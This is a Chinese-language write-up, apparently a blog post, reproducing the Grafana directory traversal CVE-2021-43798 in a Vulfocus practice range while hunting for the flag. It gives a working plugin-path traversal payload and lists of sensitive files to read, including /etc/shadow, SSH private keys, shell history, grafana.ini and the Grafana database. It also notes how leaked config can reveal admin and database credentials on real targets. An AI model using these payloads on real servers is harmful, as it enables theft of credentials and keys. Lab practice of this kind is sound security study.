漏洞名称: grafana 目录遍历 (CVE-2021-43798)
漏洞描述: Grafana 是一个用于监控和可观察性的开源平台。Grafana 版本 8.0.0-beta1 到 8.3.0(补丁版本除外)容易受到目录遍历,允许访问本地文件。易受攻击的 URL 路径是:<grafana_host_url>/public/plugins//
,其中是任何已安装插件的插件 ID。Grafana Cloud 在任何时候都不会受到攻击。建议用户升级到补丁版本 8.0.7、8.1.8、8.2.7 或 8.3.1。GitHub 安全公告包含有关易受攻击的 URL 路径、缓解措施和披露时间表的更多信息。
漏洞复现:
打开靶场,启动漏洞环境:
访问漏洞环境:
admin/admin登录
从burpsuite中选择一个登录后的GET包,右键选择sent to repeater
在repeater进行修改
将GET后面的数据进行修改 ,改为
/public/plugins/welcome/…/…/…/…/…/…/…/…/…/etc/passwd
/conf/defaults.ini
/etc/grafana/grafana.ini
/etc/passwd
/etc/shadow
/home/grafana/.bash_history
/home/grafana/.ssh/id_rsa
/root/.bash_history
/root/.ssh/id_rsa
/usr/local/etc/grafana/grafana.ini
/var/lib/grafana/grafana.db
/proc/net/fib_trie
/proc/net/tcp
/proc/self/cmdline
grafana该版本存在漏洞的插件有40多个,具体可自行查找,此处以testdata为例。
我问了很多人,这题没有flag,基本上做到这一步就没办法深入了,我自己也查了很多资料,包括etc/passwd的各种利用等等,在这个靶场都不是很适用,所以这题没有flag?实在是找不到flag在哪,一脸懵,又不把flag放在这些可读文件里,那岂不是又要getshell,到tmp里面去拿shell?可我真的想不到grafana这个要怎么getshell了,只知道各种用户名,但是密码不知道,前台账号密码是admin/admin,进去后台也是一无所有,空空如也,flag找了半天也找不到在哪,去了vulfocus的靶场看了marsk作者的write up,也是到这一步就结束了,也没说flag在哪,那既然没有flag,这题又是怎么通关呢?
知道flag的这两个人又是谁呢?哈哈,欢迎知道的小伙伴告诉我,这题的falg到底要怎么拿,或者说知道了etc/passwd之后,又要怎么样才能知道getshell?Grafana进了后台怎么getshell?必有重谢。
1-更新时间2022年6月24日
终于,在今天找到了拿flag的方法,之前问了无数人,都说考点就是目录遍历,和flag无关,我一直持否定态度,终于终于,在我苦苦查找资料的时候发现,漏掉了一个致命细节,那就是历史命令!
回顾一下之前,到这一步之后能读到etc/passwd,如下图:
重点就在这最后一个grafana用户:
直接查看这个用户的历史命令,就能看到flag,但是后面不知道为啥看不到了,真是奇怪。
2-更新时间2022年12月8日
今天又有小伙伴分享了其他的方法,虽然也是没有拿到flag,但是根据其他的ctf题目来看,这也是一种拿flag的办法,所以也记录一下。
还是和之前一样,启动vulfocus靶场。
抓包后直接读取到etc/passwd,然而并没有什么用。
/public/plugins/welcome/…/…/…/…/…/…/…/…/…/etc/passwd
原因是因为其实grafana有一些配置文件的路径我们不清楚,所以我们不知道下一步该干嘛了,因此,这里我列举一下。
/conf/defaults.ini
/etc/grafana/grafana.ini
/etc/grafana/provisioning
/etc/init.d/grafana-server
/etc/passwd
/etc/shadow
/etc/default/grafana-server
/home/grafana/.bash_history
/home/grafana/.ssh/id_rsa
/root/.bash_history
/root/.ssh/id_rsa
/usr/local/etc/grafana/grafana.ini
/var/lib/grafana/grafana.db
/var/lib/grafana/data/log/grafana.log
/var/lib/grafana
/var/lib/grafana/plugins
/var/log/grafana
/var/log/grafana/grafana.log
/var/cache/yum/grafana
/usr/share/grafana
/usr/share/grafana/conf/defaults.ini
/usr/share/grafana/public/app/plugins/datasource/grafana
/usr/sbin/grafana-server
/proc/net/fib_trie
/proc/net/tcp
/proc/self/maps
/proc/self/cgroup
/proc/self/environ
/proc/net/tcp
/proc/net/udp
/proc/net/dev
/proc/net/fib_trie
/proc/self/cmdline
/public/plugins/alertGroups/../../../../../../../../etc/passwd
/tmp/grafana.sock
补充:那么多的grafana的配置路径,其实最主要比较重点关注的是这三个->
全局配置文件:
/etc/grafana/grafana.ini
默认配置文件:
/usr/local/etc/grafana/grafana.ini
grafana数据库db文件:
/var/lib/grafana/grafana.db
话不多说,读取一下配置文件试试:
/public/plugins/welcome/../../../../../../etc/grafana/grafana.ini
从这个文件里,读到了前台的密码为admin,而且发现了是有数据库的。所以按照思路来看,只需要登录admin/admin进入后台,找到数据库的接口进行数据查询就可以找到flag了🌟。但是经过实践发现,并没有这么简单。
设置mysql数据库,数据库是grafana,用户名是root,这个都没有错,然后密码为空。
点击测试,发现报错。
说明没有启动数据库服务,所以这条路也不行了。但是假如以后实战里碰到,也可以通过这个配置文件来看后台的密码和数据库的信息,然后在后台的Explore功能界面里面做数据库的配置,就可以进行数据库的操作了。
所以今天为止,vulfocus的这道题,还是没有拿flag的方法的。目前找遍全网,包括CTF的题目来看,拿flag的方法只有这两种,一,历史命令。二、配置文件读取数据库信息,后台数据库查到flag。但是都不适用于vulfocus。
还知道其他方法的大佬欢迎私信。文章来源:https://www.toymoban.com/news/detail-609103.html
文章原创,欢迎转载,请注明文章出处: grafana 目录遍历(CVE-2021-43798)漏洞复现【VULFOCUS靶场-中级】–拿flag的历程.。百度和各类采集站皆不可信,搜索请谨慎鉴别。技术类文章一般都有时效性,本人习惯不定期对自己的博文进行修正和更新,因此请访问出处以查看本文的最新版本。文章来源地址https://www.toymoban.com/news/detail-609103.html
到了这里,关于grafana 目录遍历(CVE-2021-43798)漏洞复现【VULFOCUS靶场-中级】--拿flag的历程的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!